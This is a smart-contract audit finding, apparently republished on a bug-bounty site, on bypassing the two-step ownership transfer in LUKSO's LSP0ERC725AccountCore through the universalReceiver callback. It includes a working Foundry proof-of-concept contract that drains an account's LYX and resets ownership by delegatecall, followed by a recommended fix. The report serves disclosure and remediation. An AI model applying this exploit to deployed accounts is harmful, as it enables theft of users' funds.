Two-step ownership transfer process in LSP0ERC725AccountCore can be bypassed
The two-step ownership transfer in LSP0ERC725AccountCore could be bypassed because the pending owner's universalReceiver callback could call acceptOwnership and then use delegatecall to overwrite the owner or self-destruct the account. An attacker nominated as pending owner could drain the account's LYX balance and destroy or reset ownership in a single transaction.
Submitted by MiloTruck
To transfer ownership of the LSP0ERC725AccountCore contract, the owner has to call transferOwnership() to nominate a pending owner. Afterwards, the pending owner must call acceptOwnership() to become the new owner.
When called by the owner, transferOwnership() executes the following logic:
LSP0ERC725AccountCore.sol#L560-L580
address currentOwner = owner();
// If the caller is the owner perform transferOwnership directly
if (msg.sender == currentOwner) {
// set the pending owner
LSP14Ownable2Step._transferOwnership(pendingNewOwner);
emit OwnershipTransferStarted(currentOwner, pendingNewOwner);
// notify the pending owner through LSP1
pendingNewOwner.tryNotifyUniversalReceiver(
_TYPEID_LSP0_OwnershipTransferStarted,
""
);
// Require that the owner didn't change after the LSP1 Call
// (Pending owner didn't automate the acceptOwnership call through LSP1)
require(
currentOwner == owner(),
"LSP14: newOwner MUST accept ownership in a separate transaction"
);
} else {
The currentOwner == owner() check ensures that pendingNewOwner did not call acceptOwnership() in the universalReceiver() callback. However, a malicious contract can bypass this check by doing the following in its universalReceiver() function:
-
Call
acceptOwnership()to gain ownership of the LSP0 account. -
Do whatever they want, such as transferring the account’s entire LYX balance to themselves.
-
Call
execute()to perform a delegate call that does either of the following:- Delegate call into a contract that self-destructs, which will destroy the account permanently.
- Otherwise, use delegate call to overwrite
_ownerto the previous owner.
This defeats the entire purpose of a two-step ownership transfer, which should ensure that the LSP0 account cannot be lost in a single call if the owner accidentally calls transferOwnership() with the wrong address.
Impact
Should transferOwnership() be called with the wrong address, the address could potentially bypass the two-step ownership transfer process to destroy the LSP0 account in a single transaction.
Proof of Concept
The following Foundry test demonstrates how an attacker can drain the LYX balance of an LSP0 account in a single transaction when set to the pending owner in transferOwnership():
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol";
contract Implementation {
// _owner is at slot 0 for LSP0ERC725Account
address _owner;
function setOwner(address newOwner) external {
_owner = newOwner;
}
}
contract MaliciousReceiver {
LSP0ERC725Account account;
bool universalReceiverDisabled;
constructor(LSP0ERC725Account _account) {
account = _account;
}
function universalReceiver(bytes32, bytes calldata) external returns (bytes memory) {
// Disable universalReceiver()
universalReceiverDisabled = true;
// Cache owner for later use
address owner = account.owner();
// Call acceptOwnership() to become the owner
account.acceptOwnership();
// Transfer all LYX balance to this contract
account.execute(
0, // OPERATION_0_CALL
address(this),
10 ether,
""
);
// Overwrite _owner with the previous owner using delegatecall
Implementation implementation = new Implementation();
account.execute(
4, // OPERATION_4_DELEGATECALL
address(implementation),
0,
abi.encodeWithSelector(Implementation.setOwner.selector, owner)
);
return "";
}
function supportsInterface(bytes4) external view returns (bool) {
return !universalReceiverDisabled;
}
receive() payable external {}
}
contract TwoStepOwnership_POC is Test {
LSP0ERC725Account account;
function setUp() public {
// Deploy LSP0 account with address(this) as owner and give it some LYX
account = new LSP0ERC725Account(address(this));
deal(address(account), 10 ether);
}
function testCanDrainContractInTransferOwnership() public {
// Attacker deploys malicious receiver contract
MaliciousReceiver maliciousReceiver = new MaliciousReceiver(account);
// Victim calls transferOwnership() for malicious receiver
account.transferOwnership(address(maliciousReceiver));
// All LYX in the account has been drained
assertEq(address(account).balance, 0);
assertEq(address(maliciousReceiver).balance, 10 ether);
}
}
Recommended Mitigation
Add a inTransferOwnership state variable, which ensures that acceptOwnership() cannot be called while transferOwnership() is in execution, similar to a reentrancy guard:
function transferOwnership(
address pendingNewOwner
) public virtual override(LSP14Ownable2Step, OwnableUnset) {
inTransferOwnership = true;
// Some code here...
inTransferOwnership = false;
}
function acceptOwnership() public virtual override {
if (inTransferOwnership) revert CannotAcceptOwnershipDuringTransfer();
// Some code here...
}
Assessed type
Call/delegatecall
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the ownership transfer notified the pending owner via a callback before checking that ownership had not changed, and the callback could call acceptOwnership and then use delegatecall to overwrite storage.
Impact
If transferOwnership() is called with the wrong address, that address could bypass the two-step process to drain the account's LYX balance and destroy or reset ownership in a single transaction.
What the attacker needed
Victim calls transferOwnership with wrong address; attacker controls the nominated address
The fix
The report recommends adding a state variable that prevents acceptOwnership() from being called while transferOwnership() is executing, similar to a reentrancy guard.
How it was found
- The attacker deploys a malicious receiver contract.
- The victim calls transferOwnership() with the malicious receiver as the pending owner.
- The malicious receiver's universalReceiver callback calls acceptOwnership() to become the owner.
- The malicious receiver transfers the account's LYX balance to itself.
- The malicious receiver uses delegatecall to overwrite the owner with the previous owner.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A two-step ownership transfer is meant to prevent mistakes: the current owner nominates someone, and that person must separately accept. Here, the nominated address could run code during the nomination step that accepted ownership immediately and then used a powerful call to take the funds or reset the owner. This defeated the safety of the two-step process.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.